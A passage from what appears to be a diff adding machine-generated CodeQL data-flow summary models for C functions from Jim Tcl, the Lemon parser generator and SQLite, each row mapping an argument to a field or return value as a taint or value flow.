*,Jim_Obj *,Jim_Obj *)", "", "Argument[2]", "Argument[*0].Field[*freeList]", "value", "dfc-generated"] + - ["", "", True, "Jim_ReturnCode", "(int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "Jim_ScanString", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "Jim_ScanString", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "Jim_ScanString", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,int)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_ScriptIsComplete", "(Jim_Interp *,Jim_Obj *,char *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "Jim_SetDictKeysVector", "(Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj *,int)", "", "Argument[*2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "Jim_SetDictKeysVector", "(Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj *,int)", "", "Argument[1]", "Argument[*0].Field[**freeList].Field[*prevObjPtr]", "value", "dfc-generated"] + - ["", "", True, "Jim_SetDictKeysVector", "(Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj *,int)", "", "Argument[1]", "Argument[*0].Field[*freeList]", "value", "dfc-generated"] + - ["", "", True, "Jim_SetDictKeysVector", "(Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj *,int)", "", "Argument[1]", "Argument[*0].Field[*result]", "value", "dfc-generated"] + - ["", "", True, "Jim_SetGlobalVariableStr", "(Jim_Interp *,const char *,Jim_Obj *)", "", "Argument[*1]", "Argument[*0].Field[**freeList].Field[**bytes]", "value", "dfc-generated"] + - ["", "", True, "Jim_SetGlobalVariableStr", "(Jim_Interp *,const char *,Jim_Obj *)", "", "Argument[*1]", "Argument[*0].Field[**liveList].Field[**bytes]", "value", "dfc-generated"] + - ["", "", True, "Jim_SetGlobalVariableStr", "(Jim_Interp *,const char *,Jim_Obj *)", "", "Argument[*1]", "Argument[*0].Field[**result].Field[**bytes]", "value", "dfc-generated"] + - ["", "", True, "Jim_SetGlobalVariableStr", "(Jim_Interp *,const char *,Jim_Obj *)", "", "Argument[1]", "Argument[*0].Field[**freeList].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_SetGlobalVariableStr", "(Jim_Interp *,const char *,Jim_Obj *)", "", "Argument[1]", "Argument[*0].Field[**liveList].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_SetGlobalVariableStr", "(Jim_Interp *,const char *,Jim_Obj *)", "", "Argument[1]", "Argument[*0].Field[**result].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_SetResultFormatted", "(Jim_Interp *,const char *,...)", "", "Argument[*1]", "Argument[*0].Field[**result].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_SetResultFormatted", "(Jim_Interp *,const char *,...)", "", "Argument[1]", "Argument[*0].Field[**result].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_SetVariable", "(Jim_Interp *,Jim_Obj *,Jim_Obj *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_SetVariableLink", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_CallFrame *)", "", "Argument[2]", "Argument[*0].Field[**freeList].Field[*prevObjPtr]", "value", "dfc-generated"] + - ["", "", True, "Jim_SetVariableLink", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_CallFrame *)", "", "Argument[2]", "Argument[*0].Field[*freeList]", "value", "dfc-generated"] + - ["", "", True, "Jim_SetVariableStr", "(Jim_Interp *,const char *,Jim_Obj *)", "", "Argument[*1]", "Argument[*0].Field[**freeList].Field[**bytes]", "value", "dfc-generated"] + - ["", "", True, "Jim_SetVariableStr", "(Jim_Interp *,const char *,Jim_Obj *)", "", "Argument[*1]", "Argument[*0].Field[**liveList].Field[**bytes]", "value", "dfc-generated"] + - ["", "", True, "Jim_SetVariableStr", "(Jim_Interp *,const char *,Jim_Obj *)", "", "Argument[*1]", "Argument[*0].Field[**result].Field[**bytes]", "value", "dfc-generated"] + - ["", "", True, "Jim_SetVariableStr", "(Jim_Interp *,const char *,Jim_Obj *)", "", "Argument[1]", "Argument[*0].Field[**freeList].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_SetVariableStr", "(Jim_Interp *,const char *,Jim_Obj *)", "", "Argument[1]", "Argument[*0].Field[**liveList].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_SetVariableStr", "(Jim_Interp *,const char *,Jim_Obj *)", "", "Argument[1]", "Argument[*0].Field[**result].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_SetVariableStrWithStr", "(Jim_Interp *,const char *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**freeList].Field[**bytes]", "value", "dfc-generated"] + - ["", "", True, "Jim_SetVariableStrWithStr", "(Jim_Interp *,const char *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**liveList].Field[**bytes]", "value", "dfc-generated"] + - ["", "", True, "Jim_SetVariableStrWithStr", "(Jim_Interp *,const char *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**result].Field[**bytes]", "value", "dfc-generated"] + - ["", "", True, "Jim_SetVariableStrWithStr", "(Jim_Interp *,const char *,const char *)", "", "Argument[*2]", "Argument[*0].Field[**freeList].Field[**bytes]", "value", "dfc-generated"] + - ["", "", True, "Jim_SetVariableStrWithStr", "(Jim_Interp *,const char *,const char *)", "", "Argument[1]", "Argument[*0].Field[**freeList].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_SetVariableStrWithStr", "(Jim_Interp *,const char *,const char *)", "", "Argument[1]", "Argument[*0].Field[**liveList].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_SetVariableStrWithStr", "(Jim_Interp *,const char *,const char *)", "", "Argument[1]", "Argument[*0].Field[**result].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_SetVariableStrWithStr", "(Jim_Interp *,const char *,const char *)", "", "Argument[2]", "Argument[*0].Field[**freeList].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_SignalId", "(int)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "Jim_StackLen", "(Jim_Stack *)", "", "Argument[*0].Field[*len]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "Jim_StackPeek", "(Jim_Stack *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "Jim_StackPeek", "(Jim_Stack *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "Jim_StackPeek", "(Jim_Stack *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "Jim_StackPop", "(Jim_Stack *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "Jim_StackPop", "(Jim_Stack *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "Jim_StackPop", "(Jim_Stack *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "Jim_StackPush", "(Jim_Stack *,void *)", "", "Argument[*1]", "Argument[*0].Field[***vector]", "value", "dfc-generated"] + - ["", "", True, "Jim_StackPush", "(Jim_Stack *,void *)", "", "Argument[1]", "Argument[*0].Field[**vector]", "value", "dfc-generated"] + - ["", "", True, "Jim_StrDup", "(const char *)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "Jim_StrDup", "(const char *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "Jim_StrDupLen", "(const char *,int)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "Jim_StrDupLen", "(const char *,int)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "Jim_String", "(Jim_Obj *)", "", "Argument[*0].Field[**bytes]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "Jim_String", "(Jim_Obj *)", "", "Argument[*0].Field[*bytes]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "Jim_StringByteRangeObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "Jim_StringByteRangeObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "Jim_StringRangeObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "Jim_StringRangeObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "Jim_StringToDouble", "(const char *,double *)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "Jim_StringToDouble", "(const char *,double *)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "Jim_StringToWide", "(const char *,long *,int)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "Jim_StringToWide", "(const char *,long *,int)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "Jim_SubCmdProc", "(Jim_Interp *,int,Jim_Obj *const *)", "", "Argument[*2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "Jim_SubstObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj **,int)", "", "Argument[1]", "Argument[*0].Field[**freeList].Field[*prevObjPtr]", "value", "dfc-generated"] + - ["", "", True, "Jim_SubstObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj **,int)", "", "Argument[1]", "Argument[*0].Field[*freeList]", "value", "dfc-generated"] + - ["", "", True, "Jim_SubstObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj **,int)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "Jim_UnsetVariable", "(Jim_Interp *,Jim_Obj *,int)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_Utf8Length", "(Jim_Interp *,Jim_Obj *)", "", "Argument[*1].Field[*length]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "Jim_WrongNumArgs", "(Jim_Interp *,int,Jim_Obj *const *,const char *)", "", "Argument[*3]", "Argument[*0].Field[**freeList].Field[**bytes]", "value", "dfc-generated"] + - ["", "", True, "Jim_WrongNumArgs", "(Jim_Interp *,int,Jim_Obj *const *,const char *)", "", "Argument[*3]", "Argument[*0].Field[**liveList].Field[**bytes]", "value", "dfc-generated"] + - ["", "", True, "Jim_WrongNumArgs", "(Jim_Interp *,int,Jim_Obj *const *,const char *)", "", "Argument[*3]", "Argument[*0].Field[**result].Field[**bytes]", "value", "dfc-generated"] + - ["", "", True, "Jim_WrongNumArgs", "(Jim_Interp *,int,Jim_Obj *const *,const char *)", "", "Argument[3]", "Argument[*0].Field[**freeList].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_WrongNumArgs", "(Jim_Interp *,int,Jim_Obj *const *,const char *)", "", "Argument[3]", "Argument[*0].Field[**liveList].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_WrongNumArgs", "(Jim_Interp *,int,Jim_Obj *const *,const char *)", "", "Argument[3]", "Argument[*0].Field[**result].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_bootstrapInit", "(Jim_Interp *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "Jim_globInit", "(Jim_Interp *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "Jim_initjimshInit", "(Jim_Interp *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "Jim_stdlibInit", "(Jim_Interp *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "Jim_tclcompatInit", "(Jim_Interp *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OptInit", "(char **,s_options *,FILE *)", "", "Argument[**0]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "OptInit", "(char **,s_options *,FILE *)", "", "Argument[*0]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "OptInit", "(char **,s_options *,FILE *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "OptInit", "(char **,s_options *,FILE *)", "", "Argument[0]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "Plink_add", "(plink **,config *)", "", "Argument[**0]", "Argument[**0].Field[**next]", "value", "dfc-generated"] + - ["", "", True, "Plink_add", "(plink **,config *)", "", "Argument[*0]", "Argument[**0].Field[*next]", "value", "dfc-generated"] + - ["", "", True, "Plink_add", "(plink **,config *)", "", "Argument[0]", "Argument[**0].Field[*next]", "taint", "dfc-generated"] + - ["", "", True, "Plink_add", "(plink **,config *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "Plink_copy", "(plink **,plink *)", "", "Argument[**0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "Plink_copy", "(plink **,plink *)", "", "Argument[*0]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "Plink_copy", "(plink **,plink *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "Plink_copy", "(plink **,plink *)", "", "Argument[*1]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "Plink_copy", "(plink **,plink *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Plink_copy", "(plink **,plink *)", "", "Argument[0]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "Plink_copy", "(plink **,plink *)", "", "Argument[0]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Plink_copy", "(plink **,plink *)", "", "Argument[0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "Plink_copy", "(plink **,plink *)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "Plink_copy", "(plink **,plink *)", "", "Argument[1]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "Plink_copy", "(plink **,plink *)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "Plink_delete", "(plink *)", "", "Argument[0]", "Argument[*0].Field[**next].Field[*next]", "value", "dfc-generated"] + - ["", "", True, "Plink_delete", "(plink *)", "", "Argument[0]", "Argument[*0].Field[*next]", "value", "dfc-generated"] + - ["", "", True, "PrintAction", "(action *,FILE *,int)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ResortStates", "(lemon *)", "", "Argument[*0].Field[*nstate]", "Argument[*0].Field[*nxstate]", "value", "dfc-generated"] + - ["", "", True, "RulePrint", "(FILE *,rule *,int)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "SHA1Transform", "(unsigned int[5],const unsigned char[64])", "", "Argument[*1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "SHA1Transform", "(unsigned int[5],const unsigned char[64])", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "SHA1Transform", "(unsigned int[5],const unsigned char[64])", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "State_find", "(config *)", "", "Argument[*0].Field[**bp].Field[**bp]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "State_find", "(config *)", "", "Argument[*0].Field[**bp]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "State_insert", "(state *,config *)", "", "Argument[*1].Field[**bp].Field[**bp]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "State_insert", "(state *,config *)", "", "Argument[*1].Field[**bp]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "Strsafe", "(const char *)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "Strsafe", "(const char *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "Symbol_Nth", "(int)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "Symbol_Nth", "(int)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "Symbol_new", "(const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "Symbol_new", "(const char *)", "", "Argument[0]", "ReturnValue[*].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "Symbolcmpp", "(const void *,const void *)", "", "Argument[**0].Field[*index]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "Symbolcmpp", "(const void *,const void *)", "", "Argument[**1].Field[*index]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "acttab_action", "(acttab *,int,int)", "", "Argument[1]", "Argument[*0].Field[**aLookahead].Field[*lookahead]", "value", "dfc-generated"] + - ["", "", True, "acttab_action", "(acttab *,int,int)", "", "Argument[1]", "Argument[*0].Field[*mnLookahead]", "value", "dfc-generated"] + - ["", "", True, "acttab_action", "(acttab *,int,int)", "", "Argument[1]", "Argument[*0].Field[*mxLookahead]", "value", "dfc-generated"] + - ["", "", True, "acttab_action", "(acttab *,int,int)", "", "Argument[2]", "Argument[*0].Field[**aLookahead].Field[*action]", "value", "dfc-generated"] + - ["", "", True, "acttab_action", "(acttab *,int,int)", "", "Argument[2]", "Argument[*0].Field[*mnAction]", "value", "dfc-generated"] + - ["", "", True, "acttab_action_size", "(acttab *)", "", "Argument[*0].Field[*nAction]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "acttab_alloc", "(int,int)", "", "Argument[0]", "ReturnValue[*].Field[*nsymbol]", "value", "dfc-generated"] + - ["", "", True, "acttab_alloc", "(int,int)", "", "Argument[1]", "ReturnValue[*].Field[*nterminal]", "value", "dfc-generated"] + - ["", "", True, "acttab_insert", "(acttab *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "append_str", "(const char *,int,int,int)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "append_str", "(const char *,int,int,int)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "append_str", "(const char *,int,int,int)", "", "Argument[1]", "ReturnValue[*].Field[*sz]", "taint", "dfc-generated"] + - ["", "", True, "append_str", "(const char *,int,int,int)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "close_db", "(sqlite3 *)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "compute_action", "(lemon *,action *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "confighash", "(config *)", "", "Argument[*0].Field[**rp].Field[*index]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "confighash", "(config *)", "", "Argument[*0].Field[*dot]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "defossilize", "(char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "emit_code", "(FILE *,rule *,lemon *,int *)", "", "Argument[*3]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "emit_code", "(FILE *,rule *,lemon *,int *)", "", "Argument[3]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "emit_code", "(FILE *,rule *,lemon *,int *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "emit_destructor_code", "(FILE *,symbol *,lemon *,int *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "file_makename", "(lemon *,const char *)", "", "Argument[*0].Field[**filename]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "file_makename", "(lemon *,const char *)", "", "Argument[*0].Field[*filename]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "file_makename", "(lemon *,const char *)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "file_makename", "(lemon *,const char *)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "file_open", "(lemon *,const char *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**outname]", "value", "dfc-generated"] + - ["", "", True, "file_open", "(lemon *,const char *,const char *)", "", "Argument[*1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "file_open", "(lemon *,const char *,const char *)", "", "Argument[1]", "Argument[*0].Field[**outname]", "taint", "dfc-generated"] + - ["", "", True, "file_open", "(lemon *,const char *,const char *)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "getstate", "(lemon *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "has_destructor", "(symbol *,lemon *)", "", "Argument[*1].Field[*tokendest]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "jim_regcomp", "(regex_t *,const char *,int)", "", "Argument[*1]", "Argument[*0].Field[**regparse]", "value", "dfc-generated"] + - ["", "", True, "jim_regcomp", "(regex_t *,const char *,int)", "", "Argument[1]", "Argument[*0].Field[*regparse]", "value", "dfc-generated"] + - ["", "", True, "jim_regcomp", "(regex_t *,const char *,int)", "", "Argument[2]", "Argument[*0].Field[*cflags]", "value", "dfc-generated"] + - ["", "", True, "jim_regerror", "(int,const regex_t *,char *,size_t)", "", "Argument[0]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "jim_regexec", "(regex_t *,const char *,size_t,regmatch_t[],int)", "", "Argument[*1]", "Argument[*0].Field[**regbol]", "value", "dfc-generated"] + - ["", "", True, "jim_regexec", "(regex_t *,const char *,size_t,regmatch_t[],int)", "", "Argument[*1]", "Argument[*0].Field[**reginput]", "value", "dfc-generated"] + - ["", "", True, "jim_regexec", "(regex_t *,const char *,size_t,regmatch_t[],int)", "", "Argument[*1]", "Argument[*0].Field[**start]", "value", "dfc-generated"] + - ["", "", True, "jim_regexec", "(regex_t *,const char *,size_t,regmatch_t[],int)", "", "Argument[*3]", "Argument[*0].Field[**pmatch]", "value", "dfc-generated"] + - ["", "", True, "jim_regexec", "(regex_t *,const char *,size_t,regmatch_t[],int)", "", "Argument[2]", "Argument[*0].Field[*nmatch]", "value", "dfc-generated"] + - ["", "", True, "jim_regexec", "(regex_t *,const char *,size_t,regmatch_t[],int)", "", "Argument[3]", "Argument[*0].Field[*pmatch]", "value", "dfc-generated"] + - ["", "", True, "jim_regexec", "(regex_t *,const char *,size_t,regmatch_t[],int)", "", "Argument[4]", "Argument[*0].Field[*eflags]", "value", "dfc-generated"] + - ["", "", True, "print_stack_union", "(FILE *,lemon *,int *,int)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "recoverInit", "(sqlite3 *,const char *,const char *,..(*)(..),void *)", "", "Argument[**4]", "ReturnValue[*].Field[***pSqlCtx]", "value", "dfc-generated"] + - ["", "", True, "recoverInit", "(sqlite3 *,const char *,const char *,..(*)(..),void *)", "", "Argument[*1]", "ReturnValue[*].Field[**zDb]", "value", "dfc-generated"] + - ["", "", True, "recoverInit", "(sqlite3 *,const char *,const char *,..(*)(..),void *)", "", "Argument[*2]", "ReturnValue[*].Field[**zUri]", "value", "dfc-generated"] + - ["", "", True, "recoverInit", "(sqlite3 *,const char *,const char *,..(*)(..),void *)", "", "Argument[*4]", "ReturnValue[*].Field[**pSqlCtx]", "value", "dfc-generated"] + - ["", "", True, "recoverInit", "(sqlite3 *,const char *,const char *,..(*)(..),void *)", "", "Argument[0]", "ReturnValue[*].Field[**zDb].Field[*dbIn]", "value", "dfc-generated"] + - ["", "", True, "recoverInit", "(sqlite3 *,const char *,const char *,..(*)(..),void *)", "", "Argument[0]", "ReturnValue[*].Field[**zUri].Field[*dbIn]", "value", "dfc-generated"] + - ["", "", True, "recoverInit", "(sqlite3 *,const char *,const char *,..(*)(..),void *)", "", "Argument[0]", "ReturnValue[*].Field[*dbIn]", "value", "dfc-generated"] + - ["", "", True, "recoverInit", "(sqlite3 *,const char *,const char *,..(*)(..),void *)", "", "Argument[1]", "ReturnValue[*].Field[**zDb]", "taint", "dfc-generated"] + - ["", "", True, "recoverInit", "(sqlite3 *,const char *,const char *,..(*)(..),void *)", "", "Argument[2]", "ReturnValue[*].Field[**zUri]", "taint", "dfc-generated"] + - ["", "", True, "recoverInit", "(sqlite3 *,const char *,const char *,..(*)(..),void *)", "", "Argument[3]", "ReturnValue[*].Field[*xSql]", "value", "dfc-generated"] + - ["", "", True, "recoverInit", "(sqlite3 *,const char *,const char *,..(*)(..),void *)", "", "Argument[4]", "ReturnValue[*].Field[*pSqlCtx]", "value", "dfc-generated"] + - ["", "", True, "registerUDFs", "(sqlite3 *,sqlite3 *)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "registerUDFs", "(sqlite3 *,sqlite3 *)", "", "Argument[1]", "Argument[*1].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "rule_print", "(FILE *,rule *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "sha1sum_file", "(const char *,char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "sha3sum_file", "(const char *,char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "shellReset", "(int *,sqlite3_stmt *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3CompletionVtabInit", "(sqlite3 *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_aggregate_context", "(sqlite3_context *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_aggregate_context", "(sqlite3_context *,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "sqlite3_aggregate_count", "(sqlite3_context *)", "", "Argument[*0].Field[**pMem].Field[*n]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_autovacuum_pages", "(sqlite3 *,..(*)(..),void *,..(*)(..))", "", "Argument[**2]", "Argument[*0].Field[***pAutovacPagesArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_autovacuum_pages", "(sqlite3 *,..(*)(..),void *,..(*)(..))", "", "Argument[*2]", "Argument[*0].Field[**pAutovacPagesArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_autovacuum_pages", "(sqlite3 *,..(*)(..),void *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*xAutovacPages]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_autovacuum_pages", "(sqlite3 *,..(*)(..),void *,..(*)(..))", "", "Argument[2]", "Argument[*0].Field[*pAutovacPagesArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_autovacuum_pages", "(sqlite3 *,..(*)(..),void *,..(*)(..))", "", "Argument[3]", "Argument[*0].Field[*xAutovacDestr]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_backup_finish", "(sqlite3_backup *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_backup_init", "(sqlite3 *,const char *,sqlite3 *,const char *)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_backup_init", "(sqlite3 *,const char *,sqlite3 *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*pDestDb]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_backup_init", "(sqlite3 *,const char *,sqlite3 *,const char *)", "", "Argument[2]", "ReturnValue[*].Field[*pSrcDb]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_backup_pagecount", "(sqlite3_backup *)", "", "Argument[*0].Field[*nPagecount]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_backup_remaining", "(sqlite3_backup *)", "", "Argument[*0].Field[*nRemaining]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_backup_step", "(sqlite3_backup *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_base64_init", "(sqlite3 *,char **,const sqlite3_api_routines *)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_base85_init", "(sqlite3 *,char **,const sqlite3_api_routines *)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_bind_blob64", "(sqlite3_stmt *,int,const void *,sqlite3_uint64,..(*)(..))", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_bind_blob", "(sqlite3_stmt *,int,const void *,int,..(*)(..))", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_bind_double", "(sqlite3_stmt *,int,double)", "", "Argument[1]", "Argument[*0].Field[**aVar]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_bind_int64", "(sqlite3_stmt 